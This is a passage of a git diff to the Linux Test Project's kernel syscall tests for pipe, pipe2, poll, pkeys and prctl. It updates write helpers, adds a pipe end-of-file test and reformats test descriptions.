exit(retval); - } else { /* parent */ - /* wait for the child to finish */ - wait(&status); - /* make sure the child returned a good exit status */ - e_code = status >> 8; - if (e_code != 0) { - tst_resm(TFAIL, "Failures reported above"); - } - } + if (!SAFE_FORK()) { + rd_cnt = SAFE_READ(1, fds[0], rdbuf, wr_cnt); + TST_EXP_EQ_LU(wr_cnt, rd_cnt); } - cleanup(); - tst_exit(); + tst_reap_children(); + SAFE_CLOSE(fds[0]); + SAFE_CLOSE(fds[1]); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void cleanup(void) { + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .cleanup = cleanup +}; diff --git a/testcases/kernel/syscalls/pipe/pipe11.c b/testcases/kernel/syscalls/pipe/pipe11.c index 77170916..4280f1eb 100755 --- a/testcases/kernel/syscalls/pipe/pipe11.c +++ b/testcases/kernel/syscalls/pipe/pipe11.c @@ -77,7 +77,7 @@ static void run(unsigned int tcase) SAFE_PIPE(fds); - SAFE_WRITE(1, fds[1], buf, read_per_child * nchilds); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], buf, read_per_child * nchilds); for (i = 0; i < nchilds; i++) { pid = SAFE_FORK(); diff --git a/testcases/kernel/syscalls/pipe/pipe12.c b/testcases/kernel/syscalls/pipe/pipe12.c index f5240401..e186035e 100755 --- a/testcases/kernel/syscalls/pipe/pipe12.c +++ b/testcases/kernel/syscalls/pipe/pipe12.c @@ -44,7 +44,7 @@ static void verify_pipe(unsigned int n) tst_res(TINFO, "%s", tc->message); if (tc->full_flag) { - SAFE_WRITE(1, fds[1], wrbuf, max_size); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], wrbuf, max_size); TEST(write(fds[1], "x", 1)); if (TST_RET != -1) { tst_res(TFAIL, "write succeeded unexpectedly"); @@ -55,7 +55,7 @@ static void verify_pipe(unsigned int n) else tst_res(TFAIL | TTERRNO, "write failed, expected EAGAIN but got"); } else { - SAFE_WRITE(1, fds[1], "x", tc->offset); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], "x", tc->offset); TEST(write(fds[1], wrbuf, invalid_size)); if (TST_RET == -1) { tst_res(TFAIL, "write failed unexpectedly"); diff --git a/testcases/kernel/syscalls/pipe/pipe14.c b/testcases/kernel/syscalls/pipe/pipe14.c new file mode 100644 index 00000000..2d2969d8 --- /dev/null +++ b/testcases/kernel/syscalls/pipe/pipe14.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] + * + * Verify that, if the write end of a pipe is closed, then a process reading + * from the pipe will see end-of-file (i.e., read() returns 0) once it has + * read all remaining data in the pipe. + */ + +#include "tst_test.h" + +static int fds[2]; + +static void run(void) +{ + char wrbuf[] = "abcdefghijklmnopqrstuvwxyz"; + char rdbuf[30]; + + memset(rdbuf, 0, sizeof(rdbuf)); + SAFE_PIPE(fds); + + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], wrbuf, sizeof(wrbuf)); + SAFE_CLOSE(fds[1]); + + SAFE_READ(0, fds[0], rdbuf, sizeof(wrbuf)); + + TST_EXP_VAL(SAFE_READ(0, fds[0], rdbuf, 1), 0); + SAFE_CLOSE(fds[0]); +} + +static void cleanup(void) +{ + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); +} + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup +}; diff --git a/testcases/kernel/syscalls/pipe2/pipe2_01.c b/testcases/kernel/syscalls/pipe2/pipe2_01.c index 6597162e..87e81a45 100755 --- a/testcases/kernel/syscalls/pipe2/pipe2_01.c +++ b/testcases/kernel/syscalls/pipe2/pipe2_01.c @@ -54,10 +54,6 @@ static void verify_pipe2(unsigned int n) int get_flag = 0, i = 0; tst_res(TINFO, "%s ", tc->message); - if ((tc->flags == O_DIRECT) && (tst_kvercmp(3, 4, 0)) < 0) { - tst_res(TCONF, "O_DIRECT needs Linux 3.4 or newer"); - return; - } SAFE_PIPE2(fds, tc->flags); for (i = 0; i < 2; i++) { diff --git a/testcases/kernel/syscalls/pipe2/pipe2_02.c b/testcases/kernel/syscalls/pipe2/pipe2_02.c index 9ba69667..ee317668 100755 --- a/testcases/kernel/syscalls/pipe2/pipe2_02.c +++ b/testcases/kernel/syscalls/pipe2/pipe2_02.c @@ -54,13 +54,11 @@ static void verify_pipe2(void) cleanup(); } -static const char *const resfile[] = { - TESTBIN, - NULL, -}; - static struct tst_test test = { - .resource_files = resfile, + .resource_files = (const char *const []) { + TESTBIN, + NULL + }, .cleanup = cleanup, .forks_child = 1, .needs_root = 1, diff --git a/testcases/kernel/syscalls/pipe2/pipe2_04.c b/testcases/kernel/syscalls/pipe2/pipe2_04.c index 37894351..3911f95b 100755 --- a/testcases/kernel/syscalls/pipe2/pipe2_04.c +++ b/testcases/kernel/syscalls/pipe2/pipe2_04.c @@ -43,7 +43,7 @@ static void test_pipe2(void) pid = SAFE_FORK(); if (!pid) { SAFE_FCNTL(fds[1], F_SETFL, flags & ~O_NONBLOCK); - SAFE_WRITE(1, fds[1], "x", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], "x", 1); } if (TST_PROCESS_STATE_WAIT(pid, 'S', 1000) < 0) @@ -84,7 +84,7 @@ static void setup(void) write_buffer = SAFE_MALLOC(pipe_size); memset(write_buffer, 'x', pipe_size); - SAFE_WRITE(1, fds[1], write_buffer, pipe_size); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], write_buffer, pipe_size); free(write_buffer); } @@ -97,7 +97,6 @@ static void cleanup(void) } static struct tst_test test = { - .min_kver = "2.6.35", .test_all = test_pipe2, .setup = setup, .cleanup = cleanup, diff --git a/testcases/kernel/syscalls/pivot_root/pivot_root01.c b/testcases/kernel/syscalls/pivot_root/pivot_root01.c index 1fbe8c18..2d80928b 100755 --- a/testcases/kernel/syscalls/pivot_root/pivot_root01.c +++ b/testcases/kernel/syscalls/pivot_root/pivot_root01.c @@ -9,8 +9,6 @@ #include #include #include - -#include #include #include "tst_test.h" diff --git a/testcases/kernel/syscalls/pkeys/pkey01.c b/testcases/kernel/syscalls/pkeys/pkey01.c index 04f50924..0159822e 100755 --- a/testcases/kernel/syscalls/pkeys/pkey01.c +++ b/testcases/kernel/syscalls/pkeys/pkey01.c @@ -52,14 +52,14 @@ static void setup(void) check_pkey_support(); - if (tst_hugepages == test.request_hugepages) + if (tst_hugepages == test.hugepages.number) size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; else size = getpagesize(); fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, 0664); for (i = 0; i < 128; i++) - SAFE_WRITE(1, fd, STR, strlen(STR)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, STR, strlen(STR)); SAFE_CLOSE(fd); } @@ -161,6 +161,8 @@ static void pkey_test(struct tcase *tc, struct mmap_param *mpa) break; case PKEY_DISABLE_WRITE: *buffer = 'a'; + tst_res(TFAIL | TERRNO, + "Write buffer success, buffer[0] = %d", *buffer); break; } exit(0); @@ -183,6 +185,7 @@ static void pkey_test(struct tcase *tc, struct mmap_param *mpa) break; case PROT_WRITE: *buffer = 'a'; + tst_res(TPASS, "Write buffer success, buffer[0] = %d", *buffer); break; case PROT_READ | PROT_WRITE: case PROT_READ | PROT_WRITE | PROT_EXEC: @@ -221,5 +224,5 @@ static struct tst_test test = { .forks_child = 1, .test = verify_pkey, .setup = setup, - .request_hugepages = 1, + .hugepages = {1, TST_REQUEST}, }; diff --git a/testcases/kernel/syscalls/poll/poll01.c b/testcases/kernel/syscalls/poll/poll01.c index 11665c40..b05e809a 100755 --- a/testcases/kernel/syscalls/poll/poll01.c +++ b/testcases/kernel/syscalls/poll/poll01.c @@ -51,7 +51,7 @@ static void verify_pollin(void) {.fd = fildes[0], .events = POLLIN}, }; - SAFE_WRITE(1, fildes[1], write_buf, sizeof(write_buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fildes[1], write_buf, sizeof(write_buf)); TEST(poll(infds, 1, -1)); diff --git a/testcases/kernel/syscalls/ppoll/ppoll01.c b/testcases/kernel/syscalls/ppoll/ppoll01.c index 3d2f92f2..606018af 100755 --- a/testcases/kernel/syscalls/ppoll/ppoll01.c +++ b/testcases/kernel/syscalls/ppoll/ppoll01.c @@ -17,12 +17,12 @@ #include #include #include -#include "lapi/syscalls.h" #include "ltp_signal.h" #include "time64_variants.h" #include "tst_sig_proc.h" #include "tst_test.h" #include "tst_timer.h" +#include "lapi/syscalls.h" /* Older versions of glibc don't publish this constant's value. */ #ifndef POLLRDHUP diff --git a/testcases/kernel/syscalls/prctl/.gitignore b/testcases/kernel/syscalls/prctl/.gitignore index 0f2c9b19..50ee4bf6 100755 --- a/testcases/kernel/syscalls/prctl/.gitignore +++ b/testcases/kernel/syscalls/prctl/.gitignore @@ -8,3 +8,4 @@ /prctl07 /prctl08 /prctl09 +/prctl10 diff --git a/testcases/kernel/syscalls/prctl/prctl01.c b/testcases/kernel/syscalls/prctl/prctl01.c index 6ec41f14..939ca38c 100755 --- a/testcases/kernel/syscalls/prctl/prctl01.c +++ b/testcases/kernel/syscalls/prctl/prctl01.c @@ -1,9 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + */ + +/*\ + * [Description] + * + * Basic test for PR_SET_PDEATHSIG/PR_GET_PDEATHSIG * - * This is a Phase I test for the prctl(2) system call. - * It is intended to provide a limited exposure of the system call. + * Use PR_SET_PDEATHSIG to set SIGUSR2 signal and PR_GET_PDEATHSIG should + * receive this signal. */ #include diff --git a/testcases/kernel/syscalls/prctl/prctl02.c b/testcases/kernel/syscalls/prctl/prctl02.c index ebc0e506..1cd33f88 100755 --- a/testcases/kernel/syscalls/prctl/prctl02.c +++ b/testcases/kernel/syscalls/prctl/prctl02.c @@ -1,36 +1,43 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + */ + +/*\ + * [Description] * - * 1) prctl() fails with EINVAL when an invalid value is given for option - * 2) prctl() fails with EINVAL when option is PR_SET_PDEATHSIG & arg2 is - * not zero or a valid signal number. - * 3) prctl() fails with EINVAL when option is PR_SET_DUMPABLE & arg2 is - * neither SUID_DUMP_DISABLE nor SUID_DUMP_USER. - * 4) prctl() fails with EFAULT when arg2 is an invalid address. - * 5) prctl() fails with EFAULT when option is PR_SET_SECCOMP & arg2 is - * SECCOMP_MODE_FILTER & arg3 is an invalid address. - * 6) prctl() fails with EACCES when option is PR_SET_SECCOMP & arg2 is - * SECCOMP_MODE_FILTER & the process does not have the CAP_SYS_ADMIN - * capability. - * 7) prctl() fails with EINVAL when option is PR_SET_TIMING & arg2 is not - * not PR_TIMING_STATISTICAL. - * 8,9) prctl() fails with EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2 - * is not equal to 1 or arg3 is nonzero. - * 10) prctl() fails with EINVAL when options is PR_GET_NO_NEW_PRIVS & arg2, - * arg3, arg4, or arg5 is nonzero. - * 11) prctl() fails with EINVAL when options is PR_SET_THP_DISABLE & arg3, - * arg4, arg5 is non-zero. - * 12) prctl() fails with EINVAL when options is PR_GET_THP_DISABLE & arg2, - * arg3, arg4, or arg5 is nonzero. - * 13) prctl() fails with EINVAL when options is PR_CAP_AMBIENT & an unused - * argument such as arg4 is nonzero. - * 14) prctl() fails with EINVAL when option is PR_GET_SPECULATION_CTRL and - * unused arguments is nonzero. - * 15) prctl() fails with EPERM when option is PR_SET_SECUREBITS and the - * caller does not have the CAP_SETPCAP capability. - * 16) prctl() fails with EPERM when option is PR_CAPBSET_DROP and the caller - * does not have the CAP_SETPCAP capability. + * - EINVAL when an invalid value is given for option + * - EINVAL when option is PR_SET_PDEATHSIG & arg2 is not zero or a valid + * signal number + * - EINVAL when option is PR_SET_DUMPABLE & arg2 is neither + * SUID_DUMP_DISABLE nor SUID_DUMP_USER + * - EFAULT when arg2 is an invalid address + * - EFAULT when option is PR_SET_SECCOMP & arg2 is SECCOMP_MODE_FILTER & + * arg3 is an invalid address + * - EACCES when option is PR_SET_SECCOMP & arg2 is SECCOMP_MODE_FILTER & + * the process does not have the CAP_SYS_ADMIN capability + * - EINVAL when option is PR_SET_TIMING & arg2 is not PR_TIMING_STATISTICAL + * - EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2 is not equal to 1 & + * arg3 is zero + * - EINVAL when option is PR_SET_NO_NEW_PRIVS & arg2 is equal to 1 & arg3 + * is nonzero + * - EINVAL when options is PR_GET_NO_NEW_PRIVS & arg2, arg3, arg4, or arg5 + * is nonzero + * - EINVAL when options is PR_SET_THP_DISABLE & arg3, arg4, arg5 is non-zero. + * - EINVAL when options is PR_GET_THP_DISABLE & arg2, arg3, arg4, or arg5 is + * nonzero + * - EINVAL when options is PR_CAP_AMBIENT & arg2 has an invalid value + * - EINVAL when options is PR_CAP_AMBIENT & an unused argument such as arg4, + * arg5, or, in the case of PR_CAP_AMBIENT_CLEAR_ALL, arg3 is nonzero + * - EINVAL when options is PR_CAP_AMBIENT & arg2 is PR_CAP_AMBIENT_LOWER, + * PR_CAP_AMBIENT_RAISE, or PR_CAP_AMBIENT_IS_SET and arg3 does not specify + * a valid capability + * - EINVAL when option is PR_GET_SPECULATION_CTRL and unused arguments is + * nonzero + * - EPERM when option is PR_SET_SECUREBITS and the caller does not have the + * CAP_SETPCAP capability + * - EPERM when option is PR_CAPBSET_DROP and the caller does not have the + * CAP_SETPCAP capability */ #include @@ -66,6 +73,8 @@ static unsigned long bad_addr; static unsigned long num_0; static unsigned long num_1 = 1; static unsigned long num_2 = 2; +static unsigned long num_PR_CAP_AMBIENT_CLEAR_ALL = PR_CAP_AMBIENT_CLEAR_ALL; +static unsigned long num_PR_CAP_AMBIENT_IS_SET = PR_CAP_AMBIENT_IS_SET; static unsigned long num_invalid = ULONG_MAX; static int seccomp_nsup; static int nonewprivs_nsup; @@ -93,6 +102,8 @@ static struct tcase { {PR_SET_THP_DISABLE, &num_0, &num_1, EINVAL, "PR_SET_THP_DISABLE"}, {PR_GET_THP_DISABLE, &num_1, &num_1, EINVAL, "PR_GET_THP_DISABLE"}, {PR_CAP_AMBIENT, &num_invalid, &num_0, EINVAL, "PR_CAP_AMBIENT"}, + {PR_CAP_AMBIENT, &num_PR_CAP_AMBIENT_CLEAR_ALL, &num_1, EINVAL, "PR_CAP_AMBIENT"}, + {PR_CAP_AMBIENT, &num_PR_CAP_AMBIENT_IS_SET, &num_invalid, EINVAL, "PR_CAP_AMBIENT"}, {PR_GET_SPECULATION_CTRL, &num_0, &num_invalid, EINVAL, "PR_GET_SPECULATION_CTRL"}, {PR_SET_SECUREBITS, &num_0, &num_0, EPERM, "PR_SET_SECUREBITS"}, {PR_CAPBSET_DROP, &num_1, &num_0, EPERM, "PR_CAPBSET_DROP"}, @@ -174,7 +185,7 @@ static void setup(void) if (TST_ERR == EINVAL) thpdisable_nsup = 1; - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0)); if (TST_ERR == EINVAL) capambient_nsup = 1; diff --git a/testcases/kernel/syscalls/prctl/prctl03.c b/testcases/kernel/syscalls/prctl/prctl03.c index 33d5a7e5..bac918e8 100755 --- a/testcases/kernel/syscalls/prctl/prctl03.c +++ b/testcases/kernel/syscalls/prctl/prctl03.c @@ -2,17 +2,24 @@ /* * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved. * Author: Xiao Yang + */ + +/*\ + * [Description] * * Test PR_SET_CHILD_SUBREAPER and PR_GET_CHILD_SUBREAPER of prctl(2). - * 1) If PR_SET_CHILD_SUBREAPER marks a process as a child subreaper, it - * fulfills the role of init(1) for its descendant orphaned process. - * The PPID of its orphaned process will be reparented to the subreaper - * process, and the subreaper process can receive a SIGCHLD signal and - * wait(2) on the orphaned process to discover corresponding termination - * status. - * 2) The setting of PR_SET_CHILD_SUBREAPER is not inherited by children - * created by fork(2). - * 3) PR_GET_CHILD_SUBREAPER can get the setting of PR_SET_CHILD_SUBREAPER. + * + * - If PR_SET_CHILD_SUBREAPER marks a process as a child subreaper, it + * fulfills the role of init(1) for its descendant orphaned process. + * The PPID of its orphaned process will be reparented to the subreaper + * process, and the subreaper process can receive a SIGCHLD signal and + * wait(2) on the orphaned process to discover corresponding termination + * status. + * + * - The setting of PR_SET_CHILD_SUBREAPER is not inherited by children + * reated by fork(2). + * + * - PR_GET_CHILD_SUBREAPER can get the setting of PR_SET_CHILD_SUBREAPER. * * These flags was added by kernel commit ebec18a6d3aa: * "prctl: add PR_{SET,GET}_CHILD_SUBREAPER to allow simple process supervision" diff --git a/testcases/kernel/syscalls/prctl/prctl04.c b/testcases/kernel/syscalls/prctl/prctl04.c index 585274a8..8b135d61 100755 --- a/testcases/kernel/syscalls/prctl/prctl04.c +++ b/testcases/kernel/syscalls/prctl/prctl04.c @@ -2,20 +2,27 @@ /* * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. * Author: Yang Xu + */ + +/*\ + * [Description] * * Test PR_GET_SECCOMP and PR_SET_SECCOMP of prctl(2). - * 1) If PR_SET_SECCOMP sets the SECCOMP_MODE_STRICT for the calling thread, - * the only system call that the thread is permitted to make are read(2), - * write(2),_exit(2)(but not exit_group(2)), and sigreturn(2). Other - * system calls result in the delivery of a SIGKILL signal. This operation - * is available only if the kernel is configured with CONFIG_SECCOMP enabled. - * 2) If PR_SET_SECCOMP sets the SECCOMP_MODE_FILTER for the calling thread, - * the system calls allowed are defined by a pointer to a Berkeley Packet - * Filter. Other system calls result int the delivery of a SIGSYS signal - * with SECCOMP_RET_KILL. The SECCOMP_SET_MODE_FILTER operation is available - * only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled. - * 3) If SECCOMP_MODE_FILTER filters permit fork(2), then the seccomp mode - * is inherited by children created by fork(2). + * + * - If PR_SET_SECCOMP sets the SECCOMP_MODE_STRICT for the calling thread, + * the only system call that the thread is permitted to make are read(2), + * write(2),_exit(2)(but not exit_group(2)), and sigreturn(2). Other + * system calls result in the delivery of a SIGKILL signal. This operation + * is available only if the kernel is configured with CONFIG_SECCOMP enabled. + * + * - If PR_SET_SECCOMP sets the SECCOMP_MODE_FILTER for the calling thread, + * the system calls allowed are defined by a pointer to a Berkeley Packet + * Filter. Other system calls result int the delivery of a SIGSYS signal + * with SECCOMP_RET_KILL. The SECCOMP_SET_MODE_FILTER operation is available + * only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled. + * + * - If SECCOMP_MODE_FILTER filters permit fork(2), then the seccomp mode + * is inherited by children created by fork(2). */ #include @@ -36,8 +43,10 @@ #define FNAME "filename" static const struct sock_filter strict_filter[] = { - BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof (struct seccomp_data, nr))), + BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), + BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_waitid, 7, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_rt_sigprocmask, 6, 0), BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_close, 5, 0), BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_exit, 4, 0), BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_wait4, 3, 0), @@ -85,6 +94,9 @@ static struct tcase { "SECCOMP_MODE_FILTER doesn't permit exit()"} }; + +static int mode_filter_not_supported; + static void check_filter_mode_inherit(void) { int childpid; @@ -127,7 +139,7 @@ static void check_strict_mode(int val) tst_res(TFAIL, "prctl(PR_GET_SECCOMP) succeed unexpectedly"); break; case 2: - SAFE_WRITE(1, fd, "a", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "a", 1); SAFE_READ(0, fd, buf, 1); tst_res(TPASS, "SECCOMP_MODE_STRICT permits read(2) write(2) and _exit(2)"); @@ -146,16 +158,17 @@ static void check_filter_mode(int val) { int fd; + if (mode_filter_not_supported == 1) { + tst_res(TCONF, "kernel doesn't support SECCOMP_MODE_FILTER"); + return; + } + fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0666); TEST(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &strict)); if (TST_RET == -1) { - if (TST_ERR == EINVAL) - tst_res(TCONF, - "kernel doesn't support SECCOMP_MODE_FILTER"); - else - tst_res(TFAIL | TERRNO, - "prctl(PR_SET_SECCOMP) sets SECCOMP_MODE_FILTER failed"); + tst_res(TFAIL | TERRNO, + "prctl(PR_SET_SECCOMP) sets SECCOMP_MODE_FILTER failed"); return; } @@ -200,7 +213,7 @@ static void verify_prctl(unsigned int n) return; } - if (tc->pass_flag == 2) + if (tc->pass_flag == 2 && mode_filter_not_supported == 0) tst_res(TFAIL, "SECCOMP_MODE_FILTER permits exit() unexpectedly"); } @@ -210,7 +223,15 @@ static void setup(void) { TEST(prctl(PR_GET_SECCOMP)); if (TST_RET == 0) { - tst_res(TINFO, "kernel support PR_GET/SET_SECCOMP"); + tst_res(TINFO, "kernel supports PR_GET/SET_SECCOMP"); + + TEST(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, NULL)); + if (TST_RET == -1 && TST_ERR == EINVAL) { + mode_filter_not_supported = 1; + return; + } + + tst_res(TINFO, "kernel supports SECCOMP_MODE_FILTER"); return; } diff --git a/testcases/kernel/syscalls/prctl/prctl05.c b/testcases/kernel/syscalls/prctl/prctl05.c index ae390fdf..dd596630 100755 --- a/testcases/kernel/syscalls/prctl/prctl05.c +++ b/testcases/kernel/syscalls/prctl/prctl05.c @@ -2,23 +2,30 @@ /* * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. * Author: Yang Xu + */ + +/*\ + * [Description] * * Test PR_GET_NAME and PR_SET_NAME of prctl(2). - * 1)Set the name of the calling thread, the name can be up to 16 bytes + * + * - Set the name of the calling thread, the name can be up to 16 bytes * long, including the terminating null byte. If exceeds 16 bytes, the * string is silently truncated. - * 2)Return the name of the calling thread, the buffer should allow space + * + * - Return the name of the calling thread, the buffer should allow space * for up to 16 bytes, the returned string will be null-terminated. - * 3)Check /proc/self/task/[tid]/comm and /proc/self/comm name whether + * + * - Check /proc/self/task/[tid]/comm and /proc/self/comm name whether * matches the thread name. */ #include #include #include +#include "tst_test.h" #include "lapi/syscalls.h" #include "lapi/prctl.h" -#include "tst_test.h" static struct tcase { char setname[20]; @@ -50,8 +57,8 @@ static void verify_prctl(unsigned int n) if (strncmp(tc->expname, buf, sizeof(buf))) { tst_res(TFAIL, - "prctl(PR_GET_NAME) failed, expected %s, got %s", - tc->expname, buf); + "prctl(PR_GET_NAME) failed, expected %s, got %s", + tc->expname, buf); return; } tst_res(TPASS, "prctl(PR_GET_NAME) succeeded, thread name is %s", buf); diff --git a/testcases/kernel/syscalls/prctl/prctl06.c b/testcases/kernel/syscalls/prctl/prctl06.c index 21d336c0..a9b35b24 100755 --- a/testcases/kernel/syscalls/prctl/prctl06.c +++ b/testcases/kernel/syscalls/prctl/prctl06.c @@ -2,19 +2,25 @@ /* * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. * Author: Yang Xu + */ + +/*\ + * [Description] * * Test PR_GET_NO_NEW_PRIVS and PR_SET_NO_NEW_PRIVS of prctl(2). * - * 1)Return the value of the no_new_privs bit for the calling thread. - * A value of 0 indicates the regular execve(2) behavior. A value of - * 1 indicates execve(2) will operate in the privilege-restricting mode. - * 2)With no_new_privs set to 1, diables privilege granting operations - * at execve-time. For example, a process will not be able to execute a - * setuid binary to change their uid or gid if this bit is set. The same - * is true for file capabilities. - * 3)The setting of this bit is inherited by children created by fork(2), - * and preserved across execve(2). We also check NoNewPrivs field in - * /proc/self/status if it supports. + * - Return the value of the no_new_privs bit for the calling thread. + * A value of 0 indicates the regular execve(2) behavior. A value of + * 1 indicates execve(2) will operate in the privilege-restricting mode. + * + * - With no_new_privs set to 1, diables privilege granting operations + * at execve-time. For example, a process will not be able to execute a + * setuid binary to change their uid or gid if this bit is set. The same + * is true for file capabilities. + * + * - The setting of this bit is inherited by children created by fork(2), + * and preserved across execve(2). We also check NoNewPrivs field in + * /proc/self/status if it supports. */ #include "prctl06.h" @@ -107,13 +113,11 @@ static void setup(void) "current environment doesn't permit PR_GET/SET_NO_NEW_PRIVS"); } -static const char *const resfile[] = { - TESTBIN, - NULL, -}; - static struct tst_test test = { - .resource_files = resfile, + .resource_files = (const char *const []) { + TESTBIN, + NULL + }, .setup = setup, .test_all = verify_prctl, .forks_child = 1, diff --git a/testcases/kernel/syscalls/prctl/prctl06.h b/testcases/kernel/syscalls/prctl/prctl06.h index 510fefa6..dfb2de4b 100755 --- a/testcases/kernel/syscalls/prctl/prctl06.h +++ b/testcases/kernel/syscalls/prctl/prctl06.h @@ -23,7 +23,7 @@ #define BIN_PATH MNTPOINT"/"TESTBIN #define SUID_MODE (S_ISUID|S_ISGID|S_IXUSR|S_IXGRP|S_IXOTH) -void check_no_new_privs(int val, char *name, int flag) +static void check_no_new_privs(int val, char *name, int flag) { TEST(prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); if (TST_RET == val) diff --git a/testcases/kernel/syscalls/prctl/prctl07.c b/testcases/kernel/syscalls/prctl/prctl07.c index d27cac26..dd1d2c06 100755 --- a/testcases/kernel/syscalls/prctl/prctl07.c +++ b/testcases/kernel/syscalls/prctl/prctl07.c @@ -2,24 +2,29 @@ /* * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. * Author: Yang Xu + */ + +/*\ + * [Description] * * Test the PR_CAP_AMBIENT of prctl(2). + * * Reads or changes the ambient capability set of the calling thread, * according to the value of arg2, which must be one of the following: - * 1)PR_CAP_AMBIENT_RAISE: - * The capability specified in arg3 is added to the ambient set. - * The specified capability must already be present in both pE and pI. - * If we set SECBIT_NO_CAP_AMBIENT_RAISE bit, raise option will be rejected - * and retrun EPERM. We also raise a CAP twice. - * 2)PR_CAP_AMBIENT_LOWER: - * The capability specified in arg3 is removed from the ambient set. - * Even though this cap is not in set, it also should return 0. - * 3)PR_CAP_AMBIENT_IS_SET: - * Returns 1 if the capability in arg3 is in the ambient set and 0 if it - * is not. - * 4)PR_CAP_AMBIENT_CLEAR_ALL: - * All capabilities will be removed from the ambient set. This operation - * requires setting arg3 to zero. + * + * - PR_CAP_AMBIENT_RAISE: The capability specified in arg3 is added to the + * ambient set. The specified capability must already be present in both pE + * and pI. If we set SECBIT_NO_CAP_AMBIENT_RAISE bit, raise option will be + * rejected and return EPERM. We also raise a CAP twice. + * + * - PR_CAP_AMBIENT_LOWER: The capability specified in arg3 is removed from the + * ambient set. Even though this cap is not in set, it also should return 0. + * + * - PR_CAP_AMBIENT_IS_SET: Returns 1 if the capability in arg3 is in the + * ambient set and 0 if it is not. + * + * - PR_CAP_AMBIENT_CLEAR_ALL: All capabilities will be removed from the + * ambient set. This operation requires setting arg3 to zero. */ #include @@ -40,7 +45,7 @@ static inline void check_cap_raise(unsigned int cap, char *message, int fail_flag) { - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)); switch (fail_flag) { case 0: if (TST_RET == 0) @@ -66,7 +71,7 @@ static inline void check_cap_raise(unsigned int cap, char *message, int fail_fla static inline void check_cap_is_set(unsigned int cap, char *message, int val) { - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_IS_SET, cap, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_IS_SET, cap, 0, 0)); if (TST_RET == 1) tst_res(val ? TPASS : TFAIL, "PR_CAP_AMBIENT_IS_SET %s in AmbientCap", message); @@ -79,7 +84,7 @@ static inline void check_cap_is_set(unsigned int cap, char *message, int val) static inline void check_cap_lower(unsigned int cap, char *message) { - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_LOWER, cap, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_LOWER, cap, 0, 0)); if (TST_RET == -1) tst_res(TFAIL | TTERRNO, "PR_CAP_AMBIENT_LOWER %s failed", message); @@ -134,9 +139,9 @@ static void verify_prctl(void) tst_res(TINFO, "After PR_CAP_AMBIENT_LORWER"); TST_ASSERT_FILE_STR(PROC_STATUS, "CapAmb", ZERO_STRING); - prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, CAP_NET_BIND_SERVICE, 0, 0, 0); + prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, CAP_NET_BIND_SERVICE, 0, 0); tst_res(TINFO, "raise cap for clear"); - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0)); if (TST_RET == 0) tst_res(TPASS, "PR_CAP_AMBIENT_CLEAR ALL succeeded"); else @@ -153,7 +158,7 @@ static void verify_prctl(void) static void setup(void) { - TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 